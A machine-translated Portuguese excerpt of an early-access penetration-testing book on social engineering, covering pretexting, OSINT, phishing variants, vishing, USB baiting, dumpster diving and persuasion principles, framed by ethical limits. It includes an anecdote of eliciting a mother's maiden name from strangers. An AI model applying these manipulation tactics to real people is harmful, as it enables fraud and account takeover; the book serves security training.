Você está na página 1de 210

Machine Translated by Google

ACESSO ANTECIPADO
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

SEM PRENSA DE AMIDO


PROGRAMA DE ACESSO ANTECIPADO:
FEEDBACK BEM-VINDO!

Bem-vindo à edição de Acesso Antecipado do ainda não publicado Practical Social Engineering de
Joe Gray! Como título de pré-publicação, este livro pode estar incompleto e alguns capítulos podem
não ter sido revisados.
Nosso objetivo é sempre fazer os melhores livros possíveis e estamos ansiosos para ouvir sua
opinião. Se você tiver quaisquer comentários ou perguntas, envie-nos um e-mail para
earlyaccess@nostarch.com. Se você tiver um feedback específico para nós, inclua o número da
página, o título do livro e a data da edição em sua nota, e nós iremos analisá-lo. Agradecemos sua
ajuda e apoio!
Enviaremos um e-mail assim que novos capítulos forem disponibilizados. Enquanto isso,
aproveite!
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

PRÁTICA SOCIAL
ENGENHARIA
JOE GREY
Edição de acesso antecipado, 14/06/21

ENGENHARIA SOCIAL PRÁTICA. Copyright © 2021 por Joe Gray.

ISBN-13: 978-1-7185-0098-3 (impressão)


ISBN-13: 978-1-7185-0099-0 (e-book)

Editora: Willian Pollock


Gerente de Produção e Editora: Rachel Monaghan
Editor de Desenvolvimento: Frances Saux
Design de capa e interiores: Octopod Studios
Revisor Técnico: Ken Pyle
Editor de texto: Sharon Wilkey
Compositor: Maureen Forys, Happenstance Type-O-Rama
Revisor: James M. Fraleigh
Ilustrador: Rick Reese
Indexador: Beth Nauman-Montana

No Starch Press e o logotipo No Starch Press são marcas registradas da No Starch Press, Inc. Outros
nomes de produtos e empresas aqui mencionados podem ser marcas comerciais de seus respectivos
proprietários. Em vez de usar um símbolo de marca registrada em todas as ocorrências de um nome
comercial, estamos usando os nomes apenas de forma editorial e para benefício do proprietário da marca
registrada, sem intenção de infringir a marca registrada.

Todos os direitos reservados. Nenhuma parte deste trabalho pode ser reproduzida ou transmitida de qualquer
forma ou por qualquer meio, eletrônico ou mecânico, incluindo fotocópia, gravação ou por qualquer sistema de
armazenamento ou recuperação de informações, sem a permissão prévia por escrito do proprietário dos direitos
autorais e do editor.

As informações contidas neste livro são distribuídas “como estão”, sem garantia. Embora todas as precauções
tenham sido tomadas na preparação deste trabalho, nem o autor nem a No Starch Press, Inc. terão qualquer
responsabilidade perante qualquer pessoa ou entidade com relação a qualquer perda ou dano causado ou
supostamente causado direta ou indiretamente pelo informações nele contidas.
Machine Translated by Google

CONTEÚDO

Introdução . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xix

PARTE I: O BÁSICO

Capítulo 1: O que é Engenharia Social? . . . . . ... . . . . . . . .3


Capítulo 2: Considerações Éticas em Engenharia Social . . . . 13

PARTE II: ENGENHARIA SOCIAL OFENSIVA

Capítulo 3: Preparando-se para um Ataque . . . . . . . . . . . . . . . . . . . 25


Capítulo 4: Reunindo OSINT de negócios . . . . . . ... . . . . . . . 35
Capítulo 5: Mídia Social e Documentos Públicos . . . . . . . . . . 53
Capítulo 6: Reunindo OSINT sobre pessoas . . . ... . . . . . . . 71
Capítulo 7: Phishing . . . . . . . . . . . . . . . . . . . ... . . . . . . . 83
Capítulo 8: Clonando uma Landing Page . . . . . . . . ... . . . . . . 107
Capítulo 9: Detecção, Medição e Relatórios . . . . . . 121

PARTE III: DEFENDENDO-SE DA ENGENHARIA SOCIAL

Capítulo 10: Técnicas de Defesa Proativa. . . . . . . . . . . . . 137


Capítulo 11: Controles técnicos de e-mail . . . . . . . . . . . . . . . . 149
Capítulo 12: Produzindo Inteligência de Ameaças . . . . . . . . . . . . 165
.

. . . ... . . . ... . .
Apêndice A: Planilha de Definição de Escopo . . . . . 185
Apêndice B: Modelo de Relatório . . . . . ... . . . ... . . . . . . 189
Apêndice C: Planilha de coleta de informações . . . . . . . . . 195
Apêndice D: Amostras de pretexto. . . . . . . . . . . . . . . . . . . . 199
Apêndice E: Exercícios para melhorar sua engenharia social. 203

Os capítulos em vermelho estão incluídos neste PDF de Acesso Antecipado.


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

PARTE I
O BÁSICO
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

1
O QUE É ENGENHARIA SOCIAL?

A engenharia social é qualquer ataque que utiliza


a psicologia humana para influenciar um alvo,
fazendo-o realizar uma ação ou fornecer alguma
informação. Esses ataques desempenham um papel
importante no setor de segurança da informação e na
comunidade de hackers, mas você provavelmente também já
viu exemplos de comportamento semelhante em sua vida.
Por exemplo, as equipes de vendas e marketing costumam usar táticas de
engenharia social. Um vendedor que liga para clientes em potencial pode tentar
influenciar as pessoas do outro lado da linha apresentando soluções para seus
problemas. As crianças costumam mencionar o que os “crianças legais” estão
fazendo como um meio de ganhar autoridade com seus pais, enquanto os pais
podem dar advertências exageradas sobre as consequências de tudo o que a criança
está buscando permissão para fazer (lembre-se de quantas vezes os adultos dizem a
Ralphie que ele vai atirar em seu olho em Uma História de Natal).
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Muitas das pessoas que estão lendo este livro provavelmente atenderam a uma
ligação de “The Microsofts” ou receberam um e-mail de um “príncipe nigeriano”. Muitas
pessoas, inclusive eu, receberam o phish de bitcoin de “sextortion” ou “ameaça de
bomba”.
Este livro ensinará os fundamentos da engenharia social do ponto de vista de
um testador de penetração. Os conceitos fornecidos aqui irão ajudá-lo a entender
melhor como conduzir a engenharia social de um ponto de vista ético, copiando as
táticas de um adversário mal-intencionado para descobrir falhas de segurança que
você pode corrigir posteriormente. Ao contrário dos verdadeiros criminosos, você terá
permissão para realizar ataques de engenharia social e não causará danos
intencionalmente aos seus alvos.

Conceitos Importantes em Engenharia Social


As seções a seguir descrevem os componentes da engenharia social, incluindo os tipos
mais comuns de ataques de engenharia social. Como testador de penetração, você
pode usar qualquer um desses ataques, mas normalmente traço um limite ético ao
direcionar os recursos pessoais dos funcionários, incluindo seus dispositivos móveis,
contas de mídia social e computadores domésticos. Os bandidos podem não ser tão
legais, mas nem sempre você deve imitá-los em seus testes, como discutiremos no
Capítulo 2.

pretexto
De acordo com o Social Engineering Framework, o pretexto é o ato de se passar
por alguém. Você pode usar como pretexto um uniforme, uma história inventada
ou o contexto do contato, um termo que uso para me referir à sua desculpa para
falar com a vítima. Se você afirmasse trabalhar para a empresa de gerenciamento
de lixeiras enquanto segurava uma prancheta e usava o uniforme da empresa, por
exemplo, estaria usando um pretexto.

Inteligência de código
aberto Inteligência de código aberto (OSINT) são informações sobre o seu destino
coletadas de um recurso disponível publicamente. Fontes de OSINT incluem jornais,
mecanismos de busca, Comissão de Valores Mobiliários dos Estados Unidos (SEC)
ou outros registros de órgãos reguladores, mídia social, quadros de empregos e sites
de avaliação, apenas para citar alguns. OSINT ajuda você a inventar seu contexto para o
contato.
OSINT pode fazer ou quebrar seus esforços de engenharia social, porque para
ser bem sucedido, muitas vezes você precisará saber detalhes importantes sobre a
empresa-alvo e seus funcionários. Que tipo de rede privada virtual (VPN) eles estão
usando? Que outras tecnologias eles empregam? Qual é o layout físico do prédio da
organização? Saber essas informações pode ajudar o noivado a funcionar de forma
significativamente mais tranquila. Vários dos principais testadores de penetração me
disseram que a proporção apropriada de tempo gasto coletando OSINT para realmente
realizar o teste de penetração varia de 30/70 a 70/30.

4 Capítulo 1
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Phishing
Provavelmente a forma mais comum de engenharia social, o phishing é o ato de enviar e-
mails fraudulentos para influenciar ou coagir um alvo a fornecer informações, abrir arquivos
ou clicar em links. Abordo a variedade de técnicas que você pode usar para fazer isso mais
adiante neste livro.
Os e-mails convencionais de phishing provavelmente não são endereçados a nenhum
destinatário. Em vez disso, eles normalmente são enviados para listas de endereços de
e-mail adquiridos por golpistas e criminosos. Isso significa que você provavelmente enviaria
o e-mail para um grande número de pessoas sem coletar OSINT sobre elas.
Por exemplo, com pouco ou nenhum contexto sobre o alvo, você pode colocar um e-mail
genérico que tenta fazer com que o usuário faça login em um site fraudulento ou baixe um
arquivo. Quando os alvos abrem o arquivo, um shell remoto pode abrir em seu computador
ou o alvo pode instalar malware. Uma vez que os invasores tenham o shell ou o malware
instalado, eles podem se comunicar interativamente com o sistema e realizar ataques pós-
exploração e escalonamento de privilégios para continuar comprometendo o sistema e a rede.

Às vezes, kits de exploração (software usado para perpetrar outros ataques e descartar
malware) usam phishing para espalhar seus softwares maliciosos. De acordo com o 2018
Symantec Internet Security Threat Report (ISTR), 0,5% de todo o tráfego de URL é phishing e
5,8% desse tráfego é malicioso. Isso é 1 em 224 de todos os URLs!

Dito isso, ataques de phishing simples como o descrito aqui não são comuns em
hackers éticos e testes de penetração. Se os clientes o contratarem para fazer um teste de
penetração, uma suposição segura pode ser que o cliente provavelmente tem maturidade de
segurança suficiente para evitar cair em um simples ataque de phishing.

Spear Phishing
Spear phishing é uma variação do phishing convencional em que o engenheiro social se
concentra em um alvo específico. Se você fosse um pescador usando uma lança em vez de
uma rede, provavelmente precisaria saber como cada espécie de peixe se comportava e como
abordá-la. Da mesma forma, como engenheiro social, você precisará coletar, sintetizar e armar
OSINT sobre sua empresa ou pessoa-alvo para capturá-los adequadamente.

O ISTR afirma que o spear phishing é o vetor número um em ataques direcionados. O


relatório estimou em 2018 que 71% dos grupos organizados, incluindo estados-nação,
cibercriminosos e hacktivistas, utilizam o spear phishing para ajudar a realizar seus objetivos.
Esse número caiu para 65% em 2019.

Se você trabalhou como testador de penetração de engenharia social (ou como cônsul
importante para uma empresa, uma função na qual outras empresas pagam para você atuar
como consultor ou simular adversários), você provavelmente passaria a maior parte do tempo
simulando ataques de spear phishing. Esses são os ataques mais comuns enfrentados pelas
empresas e exigem o mínimo de interação direta, tornando-os mais acessíveis para clientes em
potencial.
Você começaria com uma investigação OSINT na empresa ou pessoa alvo. Isso pode
incluir aprender sobre os provedores de serviços que eles usam, por exemplo. Em seguida,
você pode criar um e-mail de phishing alegando, digamos, ser o

O que é Engenharia Social? 5


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

provedor de recursos humanos e fingindo oferecer informações relevantes sobre


sua inscrição aberta no W-2 ou seguro. Você inseriria o logotipo da empresa de
recursos humanos no e-mail, juntamente com o palavreado específico da empresa e,
em seguida, enviaria o alvo a um clone do site da empresa real para tentar capturar
suas credenciais ou influenciá-los a baixar um arquivo.

caça à baleia

Whaling é o phishing para o “big phish” – geralmente, os executivos seniores de


uma empresa. Durante meu tempo conduzindo testes de penetração de engenharia
social, descobri que esses alvos são mais confiáveis do que muitos outros. Eles também
tendem a ter mais acesso do que o usuário médio. Por exemplo, é mais provável que
sejam administradores locais no sistema da empresa. Você precisará abordar esses
ataques de maneira diferente do que faz com phishing ou spear phishing, porque essas
pessoas têm motivações diferentes do que, digamos, o suporte técnico ou as equipes
de vendas.
Imagine que seu alvo é o CFO de uma empresa. Você pode tentar fazer
algumas modificações no e-mail falso de spear phishing de recursos humanos que
você enviou anteriormente para criar um relacionamento adicional com o alvo. Você
pode personalizar o nome no e-mail, adicionar sua posição ou mencionar outros
recursos importantes sobre a implementação da plataforma pela empresa-alvo que
somente eles devem conhecer. Ou você pode ter que usar um cenário totalmente
diferente, envolvendo uma organização comercial ou grupo profissional ao qual seu
alvo pertence. OSINT pode ajudá-lo a entender a linguagem interna do grupo.

vishing

Em um ataque de vishing , um invasor liga para um alvo e fala com ele pelo
telefone. O vishing costuma ser mais difícil do que o phishing, porque requer
habilidades de improvisação. Enquanto o phishing oferece a você tempo para pensar
sobre o que gostaria de dizer antes de enviar seu e-mail, o vishing envolve ter sua
história reunida desde o início e relembrar rapidamente detalhes abstratos dela. Você
também pode ter problemas para fazer as pessoas atenderem o telefone; entender mal
o layout do espaço de trabalho; ou cometer grandes erros, como se passar por pessoas
no cubículo ao lado de sua vítima, ou usar o sexo errado ou
sotaque.

O benefício do vishing é que você vê o resultado do seu ataque


imediatamente. Ao enviar um e-mail, você deve esperar que sua mensagem seja
aberta, os links sejam clicados e os dados sejam inseridos. Embora o vishing
consuma mais tempo do que o phishing (especialmente por usuário), você pode
causar muito mais danos em um período mais curto com uma campanha de vishing
bem-sucedida.
Durante esses compromissos, você provavelmente falsificará ou falsificará um
número de telefone usando um aplicativo móvel ou outro software e ligará para alguém
com um pretexto. Durante a chamada, você criará relacionamento com seu alvo e
tentará fazer com que ele execute uma ação ou forneça informações.

6 Capítulo 1
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Você pode dizer que foi contratado para fazer uma pesquisa ou alegar ser um cliente,
fornecedor ou cliente. Você pedirá a eles informações relevantes para o seu pré-texto e, em
seguida, documentará em seu relatório.
Seja cauteloso ao gravar essas chamadas. Alguns estados são estados de partido
único e outros são estados de dois partidos. Os estados de parte única exigem que apenas
uma pessoa ao telefone consinta em gravar a chamada. Estados bipartidários
exigir que ambas as partes concordem com a gravação. Se você estiver direcionando recursos
de propriedade do cliente, o cliente pode fornecer autorização para gravar a chamada como a
segunda parte. Se você estiver interagindo com os dispositivos pessoais de um alvo, o próprio
alvo deve consentir, o que anula o propósito do seu teste de penetração. Antes de fazer
qualquer teste dessa maneira, o testador prudente ou a empresa consultaria um advogado para
garantir que todas as atividades sejam legais.

Isca
Baiting é usar algum tipo de isca para fazer o alvo realizar uma ação. Isso geralmente envolve o
uso de dispositivos USB ou alternativas inovadoras, como códigos QR, para fazer com que os
alvos executem códigos de computador maliciosos. Para entender a eficiência dos códigos QR,
considere sua prevalência em 2020, quando os restaurantes começaram a usá-los para permitir
menus “sem toque”.
Você pode carregar documentos falsos em um pen drive USB ou Hak5 Rubber
Ducky e rotular esses documentos como demissões, aumentos, bônus ou propriedade do
CEO. (Um Rubber Ducky é um dispositivo com um computador de bordo, fechado em um
invólucro idêntico a muitas unidades USB, que funciona como um teclado e pode inserir dados
em um sistema como se o próprio usuário estivesse digitando.) Você então espalharia os
dados para um sistema. drives ou duckies ao redor do cam pus de destino para as pessoas
encontrarem.
Usar um Rubber Ducky tem vantagens. Se você estiver usando um Rubber Ducky, poderá
carregar scripts maliciosos no dispositivo junto com arquivos reais e legítimos. Quando alguém
o conecta a um computador, ele ignora todas as ferramentas de prevenção contra perda de
dados (soluções de software ou hardware que impedem que os arquivos sejam movidos para
fora do computador por meio de um dispositivo de armazenamento USB, e-mail ou protocolo
como FTP ou SCP), pois se apresenta como um teclado USB. Se você usar um dispositivo USB
comum, poderá ser interrompido por um software de prevenção contra perda de dados. Caso
contrário, o destino abrirá o arquivo e implantará a carga útil (o script ou ferramenta que ajuda a
produzir o resultado desejado).
Você pode usar baiting para obter acesso a um shell remoto em um sistema, o que permite
que você comece a interagir diretamente com o computador host. Mas a isca é complicada
porque é difícil garantir que a isca chegue ao local do alvo e que quaisquer projéteis, conexões
ou outras informações obtidas do computador de trabalho estejam dentro do escopo do
engajamento. As pessoas podem levar o drive para casa e conectá-lo a um computador
doméstico, que você não teria permissão para atacar.

Mergulhar na lixeira
Provavelmente, o tipo menos sexy de engenharia social é mergulhar no lixo, ou coletar sacos
de lixo do escritório-alvo e, em seguida, levá-los para fora do local para dissecar informações.
Você pode aprender mais sobre a organização e

O que é Engenharia Social? 7


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

encontrar exatamente o que você estava procurando. Pense nas coisas que você joga fora.
Alguns são incrivelmente pessoais. Outros, porém, serão completamente irrelevantes para o
seu envolvimento (por exemplo, os sacos de lixo que você coleta podem vir dos banheiros da
empresa).
Para esse tipo de envolvimento, você geralmente usa o pretexto de funcionário da
empresa de lixo do alvo e inventa uma história para levá-lo ao lixo.
Quando chegar lá, recolha alguns sacos de lixo, leve-os para fora do local e revise-os.

Ao mergulhar no lixo, você provavelmente desejará usar luvas e talvez até um


respirador. Você pode até estimular a economia local e contratar alunos do ensino médio
ou universitário para fazer o trabalho sujo. Anote o que você vê, leia todos os materiais
escritos e cole todos os documentos rasgados com fita adesiva. Este pode ser o fim do jogo
ou um trampolim para algo maior.

Conceitos Psicológicos em Engenharia Social


Ao contrário do resto do campo de segurança da informação – que toma emprestados
conceitos da ciência da computação, administração de sistemas, programação e administração
de banco de dados – a engenharia social pega emprestado a maioria de seus conceitos da
psicologia. Por esta razão, os engenheiros sociais devem manter-se atualizados sobre os
desenvolvimentos da psicologia e do comportamento humano.
Quando eu estava pesquisando para uma dissertação de doutorado (que nunca
terminei), passei mais tempo lendo revistas psicológicas e sociológicas do que revistas de
tecnologia. Ainda reviso um fichário de três polegadas cheio de artigos revisados por pares
de tempos em tempos e uso meu acesso de ex-aluno a periódicos acadêmicos para verificar
novas informações. Nesta seção, reviso alguns conceitos psicológicos básicos que são úteis
para os engenheiros sociais.

Influência
Influência é um termo neutro para direcionar o comportamento de uma pessoa para
causar um determinado resultado. A influência pode ser positiva ou negativa. Um médico
conversando com um paciente sobre suas condições médicas, as ações corretivas que
podem tomar e os riscos que enfrenta para inspirá-lo a viver um estilo de vida mais saudável
é um exemplo de influência.

Manipulação
Fora do mundo da psicologia, as pessoas normalmente definem manipulação da mesma
forma que definem influência. Mas dentro do campo, os termos têm significados distintamente
diferentes. A manipulação é uma implementação prejudicial de influência, normalmente
destinada a causar danos. Na engenharia social, tanto os malfeitores quanto as pessoas
bem-intencionadas costumam usar manipulação em vez de influência, seja por falta de
treinamento ou miopia.

Rapport
Rapport, em resumo, é confiança mútua. O dicionário Merriam-Webster define rapport como
“uma relação amigável e harmoniosa” e acrescenta que tal

8 Capítulo 1
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

O relacionamento geralmente é “caracterizado por acordo, compreensão mútua ou empatia que torna
a comunicação possível ou fácil”. A American Psychological Association (APA) se baseia nisso dizendo
que “o estabelecimento de relacionamento com um cliente em psicoterapia é frequentemente uma meta
mediata significativa para o terapeuta facilitar e aprofundar a experiência terapêutica e promover o
progresso e a melhoria ideais”.

Como os terapeutas, os engenheiros sociais tentam construir um relacionamento com seus


alvos para ganhar sua confiança. Para construir rapport, eles geralmente contam com experiências
compartilhadas (sejam reais ou blefadas), jogam de acordo com os interesses do alvo e enfatizam
seus próprios traços de personalidade. Você pode usar OSINT para aprender sobre os gostos e
desgostos do alvo.

Os Seis Princípios de Persuasão do Dr. Cialdini


Em seu livro Influence: The Psychology of Persuasion (Harper, 1983), o psicólogo Robert Cialdini
detalha a relação entre influência e manipulação. Neste texto, o Dr. Cialdini descreve seis princípios
básicos de persuasão: autoridade, simpatia, urgência e escassez, compromisso e consistência, prova
social e reciprocidade.

Vamos examinar mais de perto esses princípios e sua aplicabilidade.

Autoridade

As pessoas tendem a realizar uma determinada ação quando alguém em posição de autoridade
lhes diz para fazê-lo, ou quando são levadas a acreditar (verdadeiramente ou com falsa pretensão)
que uma figura de autoridade também está praticando essa ação. Eu gosto de usar apelos à autoridade
em vishing. Por exemplo, posso ligar e dizer que estou operando sob a autoridade do CEO, CISO ou de
uma lei específica.
Esta técnica pode ser muito eficaz. Tenha em mente, porém, que você nunca deve alegar ser
um agente do governo. Isso inclui qualquer membro do Federal Bureau of Investigation (FBI),
Organização Internacional de Polícia Criminal (INTERPOL), polícia estadual, polícia local ou
departamento do xerife; o Internal Revenue Service (IRS) ou outra entidade de cobrança de impostos;
Agência Central de Inteligência (CIA), Agência de Segurança Nacional (NSA) ou Agência Federal de
Gerenciamento de Emergências (FEMA), entre outras agências. Fazer isso é um crime!

Simpatia

As pessoas tendem a querer ajudar pessoas simpáticas. Você já conheceu um vendedor que não
tentou pelo menos ser simpático? Freqüentemente, eles elogiam seu traje, aparência e inteligência para
ganhar seu favor.

Urgência e Escassez

Os humanos naturalmente querem coisas que são poucas. Recentemente, aproveitei uma oferta em
uma academia local. Durante o processo de inscrição, um cronômetro apareceu alertando-me de que
eu tinha um minuto para concluir a transação ou seria removido do grupo de elegibilidade. passei pelo
processo

O que é Engenharia Social? 9


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

três vezes. Nas duas primeiras vezes, terminei com o mesmo endereço IP em um minuto.
Na terceira vez, perdi cerca de cinco minutos e o cronômetro era reiniciado toda vez que o
minuto acabava.
Moral da história: a academia tentou usar a urgência para me inscrever em algo que
pode ou não ter me beneficiado. O cronômetro dá aos clientes em potencial uma restrição
de tempo artificial e uma sensação de que eles perderão se não agirem rapidamente.

Ao fazer phishing, muitos golpistas afirmam estar vendendo ou doando algo do


qual existe apenas uma quantidade pequena e finita. Para atrair as vítimas a agir, seja
clicando ou inserindo informações, eles oferecem algo caro em um negócio que é bom
demais para ser verdade, com a ressalva de que as vítimas devem agir em um curto
espaço de tempo.
Em outros casos, um criminoso pode tentar manipular uma vítima para pagar o
resgate de seu ransomware, ameaçando dar à vítima apenas algumas horas para agir
antes de excluir, roubar ou liberar permanentemente os dados—
se eles planejam seguir ou não. Os criminosos esperam assustar as vítimas para que ajam
antes que tenham tempo de pensar sobre as coisas.

Compromisso e Coerência

As pessoas valorizam a consistência. Não gostamos de mudanças (na maioria das


vezes). Algumas vezes, os engenheiros sociais permanecem consistentes ou quebram
a consistência para influenciar os alvos. Um vendedor pode afirmar estar mais
comprometido com o sucesso de seu cliente do que com sua comissão, dizendo coisas
como “Sempre cuidei de meus clientes. Eu entendo você e sua organização. Eu sou o tipo
de cara 'o que você vê é o que você consegue'. Isso é comum entre vendedores que
dependem de relacionamentos duradouros para seu trabalho.

Prova social

Somos comumente pressionados a “acompanhar os Jones”. Em outras palavras, muitas


vezes fazemos coisas apenas porque outras pessoas as consideram normais, apropriadas
ou de status. Os engenheiros sociais podem convencer seus alvos de que algo tem um
alto status, ou podem dizer que todos os outros funcionários de alto desempenho estão
fazendo o que eles estão tentando fazer com que um alvo faça. Fornecer evidências da
conveniência de algo é chamado de prova social. Um vendedor de carros pode tentar
convencê-lo a comprar um carro de luxo, dizendo que pessoas bem-sucedidas da sua idade
o dirigem, por exemplo.
Em uma campanha de engenharia social, o invasor pode confiar na prova social
ao reservar algum tempo para coletar algum OSINT. Eles podem identificar quem na
empresa é influente. Em seguida, eles enviariam um e-mail para você, alegando que
falaram com a pessoa influente, que elogiou você e forneceu suas informações de
contato para ajudá-la a resolver o “problema”. Vários “recrutadores” me enviaram e-mails,
alegando que um amigo deu a eles minhas informações de contato, mas não quis ser
identificado. As vagas eram para desenvolvimento Java, do qual não tenho menção em
meu currículo ou no LinkedIn. Esse comportamento lhes rende um bloqueio.

10 Capítulo 1
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Reciprocidade

Todos nós tentamos ajudar as pessoas que nos ajudam. Freqüentemente, os engenheiros
sociais ajudam alguém em uma tarefa e, em seguida, pedem que façam algo em troca que
provavelmente não é do seu interesse. Um exemplo disso ocorreu quando visitei a Layer 8
Conference, uma conferência de engenharia social em Newport, RI. Ao lado de um píer, vi um casal
tentando tirar uma foto com um veleiro ao fundo. Eu me ofereci para tirar uma foto deles.

"Ah, você gostaria?" eles perguntaram.


"Absolutamente. Você sabe o que? Aqui está o meu telefone. Você pode segurá-lo para
saber que não vou fugir com o seu,” eu respondi, para construir um relacionamento com eles.

Eu tirei a foto. Nesse momento, outro outro majestoso barco passou diretamente
atrás deles. Eu disse a eles para esperar. “Deixe-me tirar uma foto sua com este barco ao
fundo”, eu disse.
Eles concordaram. "Isso seria incrível."
Tirei mais algumas fotos. Assim que terminei, entreguei-lhes o telefone para que pudessem
revisá-los e eles me agradeceram.
“Ei, de nada. Só por curiosidade, você tem um momento para me ajudar com a pesquisa
de antropologia que estou fazendo como parte das minhas aulas de verão?” Eu perguntei.

"Claro, o que é?" eles responderam.


Como tirei fotos para eles, eles se sentiram obrigados a retribuir fazendo-me um favor,
embora responder às perguntas que fiz não fosse do interesse deles.

“Estou fazendo uma pesquisa sobre os padrões de migração das pessoas e como diferentes
grupos étnicos se misturam com outros grupos étnicos. Estou recebendo informações sobre nomes
e para onde viajam e modelos e tal. Tenho uma quantidade absurda de informações sobre o lado
paterno das famílias.
Qual era o nome da sua mãe antes de ela se casar? Observe que eu não disse: “Qual é o nome de
solteira de sua mãe?” porque essa pergunta dispara alarmes. Essa é uma pergunta comum sobre
redefinição de senha e as pessoas foram condicionadas a proteger essas informações.

Ambos me contaram e depois me contaram de onde eram. eu disse


eles que eu tinha alguns amigos lá. Isso era uma mentira; realmente, eu apenas estava vagamente
familiarizado com a área. Eu disse que meus amigos estudaram em uma certa escola de ensino
médio em sua cidade. Eles responderam que era uma escola secundária rival. Eu os encorajei.

“Qual era o mascote?” Eu perguntei.


Eles me disseram o mascote. Eu poderia ter continuado. . ..

Simpatia vs. Empatia


Uma excelente maneira de construir relacionamento, simpatia é cuidar de que uma pessoa se sinta mal
ou esteja sob algum tipo de coação, como depois de perder um ente querido ou um animal de estimação.
Às vezes confundida com simpatia, empatia é entender como as pessoas se sentem como se você
estivesse na situação delas. A empatia usa emoções compartilhadas ou perspectivas compartilhadas,
enquanto a simpatia expressa apenas como você se sente.

O que é Engenharia Social? 11


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Ambos são importantes para construir rapport sob certas circunstâncias.


posturas. Você precisa ser capaz de expressar como se sente e como a vítima se
sente, para poder exercer influência e saber quando está indo longe demais.
Ao interagir com uma vítima, você pode compartilhar uma história (seja real, falsa ou
alguma combinação embelezada das duas) de uma situação semelhante em que
você esteve e como isso o fez sentir. Isso permite que eles mostrem empatia pela sua
situação e melhorem seu relacionamento. Como alternativa, se alguém lhe disser algo
com o qual você não se identifica, fazer perguntas sobre a situação ou dizer que lamenta
que algo tenha acontecido é um exemplo de expressão de solidariedade. Tenha cuidado,
porém: se você tiver uma resposta ou anedota para tudo que uma pessoa lhe conta, ela
pode ficar desconfiada, então use essa abordagem com moderação.

Conclusão
A engenharia social pode ser uma ferramenta incrivelmente poderosa para obter
acesso. Este capítulo apresentou a você uma série de técnicas, muitas das quais
exploraremos com mais profundidade ao longo do livro.
Tenha em mente que o relacionamento é o nome do jogo. Depois de criar um
relacionamento, o resto do seu envolvimento é mais fácil. Compreender os conceitos
psicológicos e o comportamento humano subjacente é uma maneira útil de estabelecer
uma conexão com alguém. Além disso, quanto mais OSINT você coletar, mais
inteligentemente poderá falar sobre uma organização. Você pode encontrar dicas para
construir um relacionamento com os funcionários enquanto também aprende sobre
cultura, operações e tecnologias, o que pode facilitar as atividades posteriores em um
pentesting ou envolvimento da equipe vermelha. As informações irão ajudá-lo se você
estiver praticando phishing, vishing, spear phishing, caça às baleias, iscas ou mergulho em lixeiras.

12 Capítulo 1
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

2
CONSIDERAÇÕES ÉTICAS EM
ENGENHARIA SOCIAL

Ao contrário dos testes de penetração de rede


e aplicativos da Web, o impacto da engenharia
social pode se estender além dos limites de um
laptop ou servidor. Quando você está interagindo com
pessoas reais, você deve tomar precauções especiais
para evitar machucá-las.
Você também deve certificar-se de cumprir as leis em sua área, bem como
a localização de quaisquer pessoas ou empresas em potencial que você terá como
alvo. Embora possa não haver um precedente legal que oriente você a coletar
OSINT de uma maneira específica - ou o impeça de coletar OSINT - algumas leis,
como o Regulamento Geral de Proteção de Dados (GDPR) da União Europeia
(UE), colocam responsabilidades específicas e repercussões sobre você pelos
dados que você coleta e determinam como você deve protegê-los. Este capítulo
descreve diretrizes para conduzir a engenharia social e coletar OSINT de forma
legal e ética.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Engenharia Social Ética


Vamos começar falando sobre o próprio ataque de engenharia social. Em um
engajamento de engenharia social, você deve ser sensível a como um alvo se sentirá
como resultado de suas ações. Isso pode ser complicado, porque você tem que desenvolver
maneiras de mostrar que uma empresa é vulnerável, geralmente porque os funcionários
não têm treinamento adequado ou processos a seguir, sem vitimizar ou vilanizar a pessoa
que revelou essas vulnerabilidades a você.
Uma forma de proteger as pessoas é mantê-las relativamente anônimas para o seu
cliente. Por exemplo, em vez de relatar que Ed, da Contabilidade, clicou em um link em
um e-mail de phishing, diga que alguém da Contabilidade ou Finanças foi vítima de um
ataque de phishing. Ao fazer isso, você deve considerar o tamanho da organização e a
capacidade dos colegas de adivinhar a identidade da vítima a partir dos detalhes que você
fornece. Se você estiver trabalhando em uma pequena empresa – digamos, No Starch
Press, a editora deste livro – você pode evitar dizer que Bill Pollock, o fundador da
empresa, publicou muitas informações permissivas publicamente no Facebook e, em vez
disso, optar por declarar que um gerente não tinha privacidade e controles de acesso nas
mídias sociais.
Os bandidos reais provavelmente não aderirão a limites semelhantes. No teste de
penetração, no entanto, não devemos copiar tudo o que os bandidos fazem. Se o
fizéssemos, estaríamos usando ataques de negação de serviço (ataques contra redes e
sistemas que impedem que usuários e serviços legítimos possam acessá-los) contra
clientes de teste de penetração; enganar clientes ao divulgar publicamente suas informações
pessoais, como endereço, endereço de e-mail e número de telefone; e implantação de
ransomware (software malicioso que exige que as vítimas paguem um resgate para
desbloqueá-lo).
Aqui estão algumas dicas para proteger as pessoas em seus compromissos de
engenharia social.

Estabelecendo limites
O seguinte não precisa ser dito: se as pessoas pedirem para você parar de falar com elas
ou se elas encerrarem a conversa, você deve parar. Além disso, embora você possa
visualizar as postagens públicas de um alvo nas mídias sociais e criar um perfil nelas, você
nunca deve fazer o seguinte:

• Segmentar suas contas pessoais (isso inclui conectar-se a eles)


• Direcione-os para fora do trabalho

Imagine que alguém continuamente faz perguntas sobre o trabalho quando você
está em casa. Você não gostaria, não é? O uso aceitável de mídia social para coletar
OSINT inclui a busca de dados públicos sobre o trabalho, menções de software ou
